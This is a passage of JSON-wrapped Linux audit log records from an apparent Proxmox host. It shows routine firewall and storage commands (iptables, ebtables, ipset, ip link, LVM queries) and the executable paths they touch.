item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964996.421:63551): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965488177,"@rawstring":"node=pve type=PATH msg=audit(1781965488.177:65829): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964996.421:63550): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965488177,"@rawstring":"node=pve type=PATH msg=audit(1781965488.177:65828): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964996.421:63549): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485657,"@rawstring":"node=pve type=PATH msg=audit(1781965485.657:65827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964996.413:63548): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485657,"@rawstring":"node=pve type=PATH msg=audit(1781965485.657:65827): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964996.413:63547): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485653,"@rawstring":"node=pve type=PATH msg=audit(1781965485.653:65826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964996.413:63546): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485653,"@rawstring":"node=pve type=PATH msg=audit(1781965485.653:65826): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995490,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.490:63545): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965485650,"@rawstring":"node=pve type=PATH msg=audit(1781965485.650:65825): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.487:63544): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965485650,"@rawstring":"node=pve type=PATH msg=audit(1781965485.650:65825): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.486:63543): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965485650,"@rawstring":"node=pve type=PATH msg=audit(1781965485.650:65824): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995486,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.486:63542): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965485644,"@rawstring":"node=pve type=PATH msg=audit(1781965485.644:65823): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.482:63541): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965485644,"@rawstring":"node=pve type=PATH msg=audit(1781965485.644:65823): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995477,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.477:63540): proctitle=\"ip6tables-save\""} {"@timestamp":1781965485644,"@rawstring":"node=pve type=PATH msg=audit(1781965485.644:65823): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995470,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.470:63539): proctitle=\"iptables-save\""} {"@timestamp":1781965485638,"@rawstring":"node=pve type=PATH msg=audit(1781965485.638:65822): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995464,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.464:63538): proctitle=\"ip6tables-save\""} {"@timestamp":1781965485638,"@rawstring":"node=pve type=PATH msg=audit(1781965485.638:65822): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995457,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.457:63537): proctitle=\"iptables-save\""} {"@timestamp":1781965485630,"@rawstring":"node=pve type=PATH msg=audit(1781965485.630:65821): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.453:63536): proctitle=\"ebtables-restore\""} {"@timestamp":1781965485630,"@rawstring":"node=pve type=PATH msg=audit(1781965485.630:65821): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995451,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.451:63535): proctitle=\"ebtables-restore\""} {"@timestamp":1781965485623,"@rawstring":"node=pve type=PATH msg=audit(1781965485.623:65820): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.447:63534): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965485623,"@rawstring":"node=pve type=PATH msg=audit(1781965485.623:65820): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995441,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.441:63533): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965485614,"@rawstring":"node=pve type=PATH msg=audit(1781965485.614:65819): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.436:63532): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965485614,"@rawstring":"node=pve type=PATH msg=audit(1781965485.614:65819): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.431:63531): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965485608,"@rawstring":"node=pve type=PATH msg=audit(1781965485.608:65817): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995427,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.427:63530): proctitle=697073657400726573746F7265"} {"@timestamp":1781965485608,"@rawstring":"node=pve type=PATH msg=audit(1781965485.608:65817): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.421:63529): proctitle=\"ip6tables-save\""} {"@timestamp":1781965485603,"@rawstring":"node=pve type=PATH msg=audit(1781965485.603:65816): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.414:63528): proctitle=\"iptables-save\""} {"@timestamp":1781965485603,"@rawstring":"node=pve type=PATH msg=audit(1781965485.603:65816): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.411:63527): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965485597,"@rawstring":"node=pve type=PATH msg=audit(1781965485.597:65815): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.407:63526): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965485597,"@rawstring":"node=pve type=PATH msg=audit(1781965485.597:65815): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.406:63525): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965485588,"@rawstring":"node=pve type=PATH msg=audit(1781965485.588:65814): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.406:63524): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965485588,"@rawstring":"node=pve type=PATH msg=audit(1781965485.588:65814): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995403,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.403:63523): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965485583,"@rawstring":"node=pve type=PATH msg=audit(1781965485.583:65813): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.396:63522): proctitle=\"ip6tables-save\""} {"@timestamp":1781965485583,"@rawstring":"node=pve type=PATH msg=audit(1781965485.583:65813): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.389:63521): proctitle=\"iptables-save\""} {"@timestamp":1781965485576,"@rawstring":"node=pve type=PATH msg=audit(1781965485.576:65812): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.385:63520): proctitle=69707365740073617665"} {"@timestamp":1781965485576,"@rawstring":"node=pve type=PATH msg=audit(1781965485.576:65812): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995379,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.379:63519): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965485568,"@rawstring":"node=pve type=PATH msg=audit(1781965485.568:65811): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.373:63518): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965485568,"@rawstring":"node=pve type=PATH msg=audit(1781965485.568:65811): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.042:63517): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965485559,"@rawstring":"node=pve type=PATH msg=audit(1781965485.559:65810): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964995010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964995.010:63516): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965485559,"@rawstring":"node=pve type=PATH msg=audit(1781965485.559:65810): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964991.406:63515): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485555,"@rawstring":"node=pve type=PATH msg=audit(1781965485.555:65809): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964991.406:63514): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485555,"@rawstring":"node=pve type=PATH msg=audit(1781965485.555:65809): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991406,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964991.406:63513): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485550,"@rawstring":"node=pve type=PATH msg=audit(1781965485.550:65808): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964991.393:63512): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485550,"@rawstring":"node=pve type=PATH msg=audit(1781965485.550:65808): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964991.393:63511): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485549,"@rawstring":"node=pve type=PATH msg=audit(1781965485.549:65807): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964991393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964991.393:63510): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485549,"@rawstring":"node=pve type=PATH msg=audit(1781965485.549:65807): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964986.381:63509): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485549,"@rawstring":"node=pve type=PATH msg=audit(1781965485.549:65806): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964986.381:63508): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485539,"@rawstring":"node=pve type=PATH msg=audit(1781965485.539:65805): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964986.381:63507): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485539,"@rawstring":"node=pve type=PATH msg=audit(1781965485.539:65805): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964986.376:63506): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485539,"@rawstring":"node=pve type=PATH msg=audit(1781965485.539:65805): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964986.376:63505): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485531,"@rawstring":"node=pve type=PATH msg=audit(1781965485.531:65804): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964986376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964986.376:63504): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965485531,"@rawstring":"node=pve type=PATH msg=audit(1781965485.531:65804): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985363,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.363:63503): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965485521,"@rawstring":"node=pve type=PATH msg=audit(1781965485.521:65803): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985360,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.360:63502): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965485521,"@rawstring":"node=pve type=PATH msg=audit(1781965485.521:65803): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985359,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.359:63501): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965485515,"@rawstring":"node=pve type=PATH msg=audit(1781965485.515:65802): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985359,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.359:63500): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965485515,"@rawstring":"node=pve type=PATH msg=audit(1781965485.515:65802): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985354,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.354:63499): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965485503,"@rawstring":"node=pve type=PATH msg=audit(1781965485.503:65801): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.348:63498): proctitle=\"ip6tables-save\""} {"@timestamp":1781965485503,"@rawstring":"node=pve type=PATH msg=audit(1781965485.503:65801): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985342,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.342:63497): proctitle=\"iptables-save\""} {"@timestamp":1781965485489,"@rawstring":"node=pve type=PATH msg=audit(1781965485.489:65800): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.335:63496): proctitle=\"ip6tables-save\""} {"@timestamp":1781965485489,"@rawstring":"node=pve type=PATH msg=audit(1781965485.489:65800): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.329:63495): proctitle=\"iptables-save\""} {"@timestamp":1781965484922,"@rawstring":"node=pve type=PATH msg=audit(1781965484.922:65799): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985326,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.326:63494): proctitle=\"ebtables-restore\""} {"@timestamp":1781965484922,"@rawstring":"node=pve type=PATH msg=audit(1781965484.922:65799): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964985324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964985.324:63493): proctitle=\"ebtables-restore\""} {"@timestamp":1781965484894,"@rawstring":"node=pve type=PATH msg=audit(1781965484.894:65798): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 